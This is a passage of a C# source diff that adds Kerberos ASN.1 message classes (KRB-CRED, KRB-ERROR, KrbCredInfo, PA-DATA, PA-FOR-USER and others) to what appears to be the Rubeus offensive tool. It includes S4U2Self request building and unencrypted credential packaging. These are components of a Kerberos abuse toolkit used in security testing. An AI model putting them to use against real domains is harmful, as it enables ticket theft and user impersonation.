AsnElt enc_partAsn = enc_part.Encode();
|
||||||
|
AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode());
|
||||||
|
|
||||||
|
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
|
||||||
|
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
|
||||||
|
|
||||||
|
// etype == 0 -> no encryption
|
||||||
|
AsnElt etypeAsn = AsnElt.MakeInteger(0);
|
||||||
|
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
|
||||||
|
etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
|
||||||
|
|
||||||
|
AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq });
|
||||||
|
AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq });
|
||||||
|
infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2);
|
||||||
|
|
||||||
|
|
||||||
|
// all the components
|
||||||
|
AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 });
|
||||||
|
|
||||||
|
// tag the final total
|
||||||
|
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
|
||||||
|
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final);
|
||||||
|
|
||||||
|
return final;
|
||||||
|
}
|
||||||
|
|
||||||
|
public long pvno { get; set; }
|
||||||
|
|
||||||
|
public long msg_type { get; set; }
|
||||||
|
|
||||||
|
//public Ticket[] tickets { get; set; }
|
||||||
|
public List<Ticket> tickets { get; set; }
|
||||||
|
|
||||||
|
public EncKrbCredPart enc_part { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,110 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class KRB_ERROR
|
||||||
|
{
|
||||||
|
//KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
|
||||||
|
// pvno [0] INTEGER (5),
|
||||||
|
// msg-type [1] INTEGER (30),
|
||||||
|
// ctime [2] KerberosTime OPTIONAL,
|
||||||
|
// cusec [3] Microseconds OPTIONAL,
|
||||||
|
// stime [4] KerberosTime,
|
||||||
|
// susec [5] Microseconds,
|
||||||
|
// error-code [6] Int32,
|
||||||
|
// crealm [7] Realm OPTIONAL,
|
||||||
|
// cname [8] PrincipalName OPTIONAL,
|
||||||
|
// realm [9] Realm -- service realm --,
|
||||||
|
// sname [10] PrincipalName -- service name --,
|
||||||
|
// e-text [11] KerberosString OPTIONAL,
|
||||||
|
// e-data [12] OCTET STRING OPTIONAL
|
||||||
|
//}
|
||||||
|
|
||||||
|
public KRB_ERROR(byte[] errorBytes)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public KRB_ERROR(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
pvno = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
msg_type = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
ctime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
cusec = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
stime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
susec = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
error_code = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 7:
|
||||||
|
crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 8:
|
||||||
|
cname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 9:
|
||||||
|
realm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 10:
|
||||||
|
sname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// don't ever really need to create a KRB_ERROR structure manually, so no Encode()
|
||||||
|
|
||||||
|
public long pvno { get; set; }
|
||||||
|
|
||||||
|
public long msg_type { get; set; }
|
||||||
|
|
||||||
|
public DateTime ctime { get; set; }
|
||||||
|
|
||||||
|
public long cusec { get; set; }
|
||||||
|
|
||||||
|
public DateTime stime { get; set; }
|
||||||
|
|
||||||
|
public long susec { get; set; }
|
||||||
|
|
||||||
|
public long error_code { get; set; }
|
||||||
|
|
||||||
|
public string crealm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName cname { get; set; }
|
||||||
|
|
||||||
|
public string realm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName sname { get; set; }
|
||||||
|
|
||||||
|
// skipping these two for now
|
||||||
|
// e_text
|
||||||
|
// e_data
|
||||||
|
|
||||||
|
|
||||||
|
//public Ticket[] tickets { get; set; }
|
||||||
|
public List<Ticket> tickets { get; set; }
|
||||||
|
|
||||||
|
public EncKrbCredPart enc_part { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,216 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class KrbCredInfo
|
||||||
|
{
|
||||||
|
//KrbCredInfo ::= SEQUENCE {
|
||||||
|
// key [0] EncryptionKey,
|
||||||
|
// prealm [1] Realm OPTIONAL,
|
||||||
|
// pname [2] PrincipalName OPTIONAL,
|
||||||
|
// flags [3] TicketFlags OPTIONAL,
|
||||||
|
// authtime [4] KerberosTime OPTIONAL,
|
||||||
|
// starttime [5] KerberosTime OPTIONAL,
|
||||||
|
// endtime [6] KerberosTime OPTIONAL,
|
||||||
|
// renew-till [7] KerberosTime OPTIONAL,
|
||||||
|
// srealm [8] Realm OPTIONAL,
|
||||||
|
// sname [9] PrincipalName OPTIONAL,
|
||||||
|
// caddr [10] HostAddresses OPTIONAL
|
||||||
|
//}
|
||||||
|
|
||||||
|
public KrbCredInfo()
|
||||||
|
{
|
||||||
|
key = new EncryptionKey();
|
||||||
|
|
||||||
|
prealm = "";
|
||||||
|
|
||||||
|
pname = new PrincipalName();
|
||||||
|
|
||||||
|
flags = 0;
|
||||||
|
|
||||||
|
srealm = "";
|
||||||
|
|
||||||
|
sname = new PrincipalName();
|
||||||
|
}
|
||||||
|
|
||||||
|
public KrbCredInfo(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
key = new EncryptionKey(s);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
prealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
pname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
case 3:
|
||||||
|
UInt32 temp = Convert.ToUInt32(s.Sub[0].GetInteger());
|
||||||
|
byte[] tempBytes = BitConverter.GetBytes(temp);
|
||||||
|
flags = (Interop.TicketFlags)BitConverter.ToInt32(tempBytes, 0);
|
||||||
|
break;
|
||||||
|
case 4:
|
||||||
|
authtime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 5:
|
||||||
|
starttime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 6:
|
||||||
|
endtime = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 7:
|
||||||
|
renew_till = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
case 8:
|
||||||
|
srealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
|
||||||
|
break;
|
||||||
|
case 9:
|
||||||
|
sname = new PrincipalName(s.Sub[0]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
List<AsnElt> asnElements = new List<AsnElt>();
|
||||||
|
|
||||||
|
// key [0] EncryptionKey
|
||||||
|
AsnElt keyAsn = key.Encode();
|
||||||
|
keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyAsn);
|
||||||
|
asnElements.Add(keyAsn);
|
||||||
|
|
||||||
|
|
||||||
|
// prealm [1] Realm OPTIONAL
|
||||||
|
if (!String.IsNullOrEmpty(prealm))
|
||||||
|
{
|
||||||
|
AsnElt prealmAsn = AsnElt.MakeString(AsnElt.IA5String, prealm);
|
||||||
|
prealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, prealmAsn);
|
||||||
|
AsnElt prealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, prealmAsn);
|
||||||
|
prealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, prealmAsnSeq);
|
||||||
|
|
||||||
|
asnElements.Add(prealmAsnSeq);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// pname [2] PrincipalName OPTIONAL
|
||||||
|
if ((pname.name_string != null) && (pname.name_string.Count != 0) && (!String.IsNullOrEmpty(pname.name_string[0])))
|
||||||
|
{
|
||||||
|
AsnElt pnameAsn = pname.Encode();
|
||||||
|
pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, pnameAsn);
|
||||||
|
asnElements.Add(pnameAsn);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// pname [2] PrincipalName OPTIONAL
|
||||||
|
byte[] flagBytes = BitConverter.GetBytes((UInt32)flags);
|
||||||
|
if (BitConverter.IsLittleEndian)
|
||||||
|
{
|
||||||
|
Array.Reverse(flagBytes);
|
||||||
|
}
|
||||||
|
AsnElt flagBytesAsn = AsnElt.MakeBitString(flagBytes);
|
||||||
|
AsnElt flagBytesSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { flagBytesAsn });
|
||||||
|
flagBytesSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, flagBytesSeq);
|
||||||
|
asnElements.Add(flagBytesSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// authtime [4] KerberosTime OPTIONAL
|
||||||
|
if ((authtime != null) && (authtime != DateTime.MinValue))
|
||||||
|
{
|
||||||
|
AsnElt authtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, authtime.ToString("yyyyMMddHHmmssZ"));
|
||||||
|
AsnElt authtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authtimeAsn });
|
||||||
|
authtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, authtimeSeq);
|
||||||
|
asnElements.Add(authtimeSeq);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// starttime [5] KerberosTime OPTIONAL
|
||||||
|
if ((starttime != null) && (starttime != DateTime.MinValue))
|
||||||
|
{
|
||||||
|
AsnElt starttimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, starttime.ToString("yyyyMMddHHmmssZ"));
|
||||||
|
AsnElt starttimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { starttimeAsn });
|
||||||
|
starttimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, starttimeSeq);
|
||||||
|
asnElements.Add(starttimeSeq);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// endtime [6] KerberosTime OPTIONAL
|
||||||
|
if ((endtime != null) && (endtime != DateTime.MinValue))
|
||||||
|
{
|
||||||
|
AsnElt endtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, endtime.ToString("yyyyMMddHHmmssZ"));
|
||||||
|
AsnElt endtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { endtimeAsn });
|
||||||
|
endtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, endtimeSeq);
|
||||||
|
asnElements.Add(endtimeSeq);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// renew-till [7] KerberosTime OPTIONAL
|
||||||
|
if ((renew_till != null) && (renew_till != DateTime.MinValue))
|
||||||
|
{
|
||||||
|
AsnElt renew_tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, renew_till.ToString("yyyyMMddHHmmssZ"));
|
||||||
|
AsnElt renew_tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { renew_tillAsn });
|
||||||
|
renew_tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, renew_tillSeq);
|
||||||
|
asnElements.Add(renew_tillSeq);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// srealm [8] Realm OPTIONAL
|
||||||
|
if (!String.IsNullOrEmpty(srealm))
|
||||||
|
{
|
||||||
|
AsnElt srealmAsn = AsnElt.MakeString(AsnElt.IA5String, srealm);
|
||||||
|
srealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, srealmAsn);
|
||||||
|
AsnElt srealmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, srealmAsn);
|
||||||
|
srealmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, srealmAsnSeq);
|
||||||
|
asnElements.Add(srealmAsnSeq);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// sname [9] PrincipalName OPTIONAL
|
||||||
|
if ((sname.name_string != null) && (sname.name_string.Count != 0) && (!String.IsNullOrEmpty(sname.name_string[0])))
|
||||||
|
{
|
||||||
|
AsnElt pnameAsn = sname.Encode();
|
||||||
|
pnameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, pnameAsn);
|
||||||
|
asnElements.Add(pnameAsn);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// caddr [10] HostAddresses OPTIONAL
|
||||||
|
|
||||||
|
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, asnElements.ToArray());
|
||||||
|
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
|
||||||
|
public EncryptionKey key { get; set; }
|
||||||
|
|
||||||
|
public string prealm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName pname { get; set; }
|
||||||
|
|
||||||
|
public Interop.TicketFlags flags { get; set; }
|
||||||
|
|
||||||
|
public DateTime authtime { get; set; }
|
||||||
|
|
||||||
|
public DateTime starttime { get; set; }
|
||||||
|
|
||||||
|
public DateTime endtime { get; set; }
|
||||||
|
|
||||||
|
public DateTime renew_till { get; set; }
|
||||||
|
|
||||||
|
public string srealm { get; set; }
|
||||||
|
|
||||||
|
public PrincipalName sname { get; set; }
|
||||||
|
|
||||||
|
// caddr (optional) - skipping for now
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,43 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.Text;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class LastReq
|
||||||
|
{
|
||||||
|
//LastReq::= SEQUENCE OF SEQUENCE {
|
||||||
|
// lr-type[0] Int32,
|
||||||
|
// lr-value[1] KerberosTime
|
||||||
|
//}
|
||||||
|
|
||||||
|
public LastReq(AsnElt body)
|
||||||
|
{
|
||||||
|
foreach (AsnElt s in body.Sub[0].Sub)
|
||||||
|
{
|
||||||
|
switch (s.TagValue)
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
lr_type = Convert.ToInt32(s.Sub[0].GetInteger());
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
lr_value = s.Sub[0].GetTime();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// TODO: implement
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Int32 lr_type { get; set; }
|
||||||
|
|
||||||
|
public DateTime lr_value { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,150 @@
|
||||||
|
using System;
|
||||||
|
using Asn1;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
public class PA_DATA
|
||||||
|
{
|
||||||
|
//PA-DATA ::= SEQUENCE {
|
||||||
|
// -- NOTE: first tag is [1], not [0]
|
||||||
|
// padata-type [1] Int32,
|
||||||
|
// padata-value [2] OCTET STRING -- might be encoded AP-REQ
|
||||||
|
//}
|
||||||
|
|
||||||
|
public PA_DATA()
|
||||||
|
{
|
||||||
|
// defaults for creation
|
||||||
|
type = Interop.PADATA_TYPE.PA_PAC_REQUEST;
|
||||||
|
|
||||||
|
value = new KERB_PA_PAC_REQUEST();
|
||||||
|
}
|
||||||
|
|
||||||
|
public PA_DATA(string keyString, Interop.KERB_ETYPE etype)
|
||||||
|
{
|
||||||
|
// include pac, supply enc timestamp
|
||||||
|
|
||||||
|
type = Interop.PADATA_TYPE.ENC_TIMESTAMP;
|
||||||
|
|
||||||
|
PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC();
|
||||||
|
|
||||||
|
byte[] rawBytes = temp.Encode().Encode();
|
||||||
|
byte[] key = Helpers.StringToByteArray(keyString);
|
||||||
|
|
||||||
|
// KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP 1
|
||||||
|
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55
|
||||||
|
byte[] encBytes = Crypto.KerberosEncrypt(etype, 1, key, rawBytes);
|
||||||
|
|
||||||
|
value = new EncryptedData((int)etype, encBytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public PA_DATA(byte[] key, string name, string realm)
|
||||||
|
{
|
||||||
|
// used for constrained delegation
|
||||||
|
type = Interop.PADATA_TYPE.S4U2SELF;
|
||||||
|
|
||||||
|
value = new PA_FOR_USER(key, name, realm);
|
||||||
|
}
|
||||||
|
|
||||||
|
public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
|
||||||
|
{
|
||||||
|
// include an AP-REQ, so PA-DATA for a TGS-REQ
|
||||||
|
|
||||||
|
type = Interop.PADATA_TYPE.AP_REQ;
|
||||||
|
|
||||||
|
// build the AP-REQ
|
||||||
|
AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype);
|
||||||
|
|
||||||
|
value = ap_req;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PA_DATA(AsnElt body)
|
||||||
|
{
|
||||||
|
//if (body.Sub.Length != 2)
|
||||||
|
//{
|
||||||
|
// throw new System.Exception("PA-DATA should contain two elements");
|
||||||
|
//}
|
||||||
|
|
||||||
|
//Console.WriteLine("tag: {0}", body.Sub[0].Sub[1].TagString);
|
||||||
|
type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger();
|
||||||
|
byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString();
|
||||||
|
|
||||||
|
if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST)
|
||||||
|
{
|
||||||
|
value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue()));
|
||||||
|
}
|
||||||
|
else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP)
|
||||||
|
{
|
||||||
|
// TODO: parse PA-ENC-TIMESTAMP
|
||||||
|
}
|
||||||
|
else if (type == Interop.PADATA_TYPE.AP_REQ)
|
||||||
|
{
|
||||||
|
// TODO: parse AP_REQ
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
// padata-type [1] Int32
|
||||||
|
AsnElt typeElt = AsnElt.MakeInteger((long)type);
|
||||||
|
AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt });
|
||||||
|
nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq);
|
||||||
|
|
||||||
|
AsnElt paDataElt;
|
||||||
|
if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST)
|
||||||
|
{
|
||||||
|
// used for AS-REQs
|
||||||
|
|
||||||
|
// padata-value [2] OCTET STRING -- might be encoded AP-REQ
|
||||||
|
paDataElt = ((KERB_PA_PAC_REQUEST)value).Encode();
|
||||||
|
paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt);
|
||||||
|
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP)
|
||||||
|
{
|
||||||
|
// used for AS-REQs
|
||||||
|
AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode());
|
||||||
|
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
|
||||||
|
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
|
||||||
|
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq });
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
else if (type == Interop.PADATA_TYPE.AP_REQ)
|
||||||
|
{
|
||||||
|
// used for TGS-REQs
|
||||||
|
//paDataElt = ((AP_REQ)value).Encode(); //needed?
|
||||||
|
AsnElt blob = AsnElt.MakeBlob(((AP_REQ)value).Encode().Encode());
|
||||||
|
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
|
||||||
|
|
||||||
|
paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
|
||||||
|
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
else if (type == Interop.PADATA_TYPE.S4U2SELF)
|
||||||
|
{
|
||||||
|
// used for constrained delegation
|
||||||
|
paDataElt = ((PA_FOR_USER)value).Encode();
|
||||||
|
AsnElt blob = AsnElt.MakeBlob(((PA_FOR_USER)value).Encode().Encode());
|
||||||
|
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
|
||||||
|
|
||||||
|
paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
|
||||||
|
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt });
|
||||||
|
return seq;
|
||||||
|
}
|
||||||
|
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Interop.PADATA_TYPE type { get; set; }
|
||||||
|
|
||||||
|
public Object value { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,46 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//PA-ENC-TS-ENC ::= SEQUENCE {
|
||||||
|
// patimestamp[0] KerberosTime, -- client's time
|
||||||
|
// pausec[1] INTEGER OPTIONAL
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class PA_ENC_TS_ENC
|
||||||
|
{
|
||||||
|
public PA_ENC_TS_ENC()
|
||||||
|
{
|
||||||
|
patimestamp = DateTime.UtcNow;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PA_ENC_TS_ENC(DateTime time)
|
||||||
|
{
|
||||||
|
patimestamp = time;
|
||||||
|
}
|
||||||
|
|
||||||
|
//public PA_ENC_TS_ENC(AsnElt value)
|
||||||
|
//{
|
||||||
|
|
||||||
|
//}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ"));
|
||||||
|
AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn });
|
||||||
|
patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq);
|
||||||
|
|
||||||
|
AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq });
|
||||||
|
|
||||||
|
return totalSeq;
|
||||||
|
}
|
||||||
|
|
||||||
|
public DateTime patimestamp { get; set; }
|
||||||
|
|
||||||
|
public int pausec { get; set; }
|
||||||
|
|
||||||
|
//public bool include_pac { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,96 @@
|
||||||
|
using Asn1;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Rubeus
|
||||||
|
{
|
||||||
|
//PA-FOR-USER-ENC ::= SEQUENCE {
|
||||||
|
// userName[0] PrincipalName,
|
||||||
|
// userRealm[1] Realm,
|
||||||
|
// cksum[2] Checksum,
|
||||||
|
// auth-package[3] KerberosString
|
||||||
|
//}
|
||||||
|
|
||||||
|
public class PA_FOR_USER
|
||||||
|
{
|
||||||
|
public PA_FOR_USER(byte[] key, string name, string realm)
|
||||||
|
{
|
||||||
|
userName = new PrincipalName(name);
|
||||||
|
userName.name_type = 10;
|
||||||
|
userRealm = realm.ToUpper();
|
||||||
|
|
||||||
|
// now build the checksum
|
||||||
|
|
||||||
|
auth_package = "Kerberos";
|
||||||
|
|
||||||
|
byte[] nameTypeBytes = new byte[4];
|
||||||
|
nameTypeBytes[0] = 0xa;
|
||||||
|
|
||||||
|
byte[] nameBytes = Encoding.UTF8.GetBytes(name);
|
||||||
|
byte[] realmBytes = Encoding.UTF8.GetBytes(userRealm);
|
||||||
|
byte[] authPackageBytes = Encoding.UTF8.GetBytes(auth_package);
|
||||||
|
|
||||||
|
byte[] finalBytes = new byte[nameTypeBytes.Length + nameBytes.Length + realmBytes.Length + authPackageBytes.Length];
|
||||||
|
|
||||||
|
Array.Copy(nameTypeBytes, 0, finalBytes, 0, nameTypeBytes.Length);
|
||||||
|
Array.Copy(nameBytes, 0, finalBytes, nameTypeBytes.Length, nameBytes.Length);
|
||||||
|
Array.Copy(realmBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length, realmBytes.Length);
|
||||||
|
Array.Copy(authPackageBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length + realmBytes.Length, authPackageBytes.Length);
|
||||||
|
|
||||||
|
byte[] outBytes = Crypto.KerberosChecksum(key, finalBytes);
|
||||||
|
|
||||||
|
Checksum checksum = new Checksum(outBytes);
|
||||||
|
|
||||||
|
cksum = checksum;
|
||||||
|
}
|
||||||
|
|
||||||
|
public AsnElt Encode()
|
||||||
|
{
|
||||||
|
List<AsnElt> allNodes = new List<AsnElt>();
|
||||||
|
|
||||||
|
// userName[0] PrincipalName
|
||||||
|
AsnElt userNameAsn = userName.Encode();
|
||||||
|
userNameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userNameAsn);
|
||||||
|
allNodes.Add(userNameAsn);
|
||||||
|
|
||||||
|
// userRealm[1] Realm
|
||||||
|
AsnElt userRealmAsn = AsnElt.MakeString(AsnElt.IA5String, userRealm);
|
||||||
|
userRealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, userRealmAsn);
|
||||||
|
AsnElt userRealmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { userRealmAsn });
|
||||||
|
userRealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, userRealmSeq);
|
||||||
|
allNodes.Add(userRealmSeq);
|
||||||
|
|
||||||
|
// cksum[2] Checksum
|
||||||
|
AsnElt checksumAsn = cksum.Encode();
|
||||||
|
checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, checksumAsn);
|
||||||
|
allNodes.Add(checksumAsn);
|
||||||
|
|
||||||
|
// auth-package[3] KerberosString
|
||||||
|
AsnElt auth_packageAsn = AsnElt.MakeString(AsnElt.IA5String, auth_package);
|
||||||
|
auth_packageAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, auth_packageAsn);
|
||||||
|
AsnElt auth_packageSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { auth_packageAsn });
|
||||||
|
auth_packageSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, auth_packageSeq);
|
||||||
|
allNodes.Add(auth_packageSeq);
|
||||||
|
|
||||||
|
|
||||||
|
// package it all up
|
||||||
|
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
|
||||||
|
|
||||||
|
|
||||||
|
// tag the final total
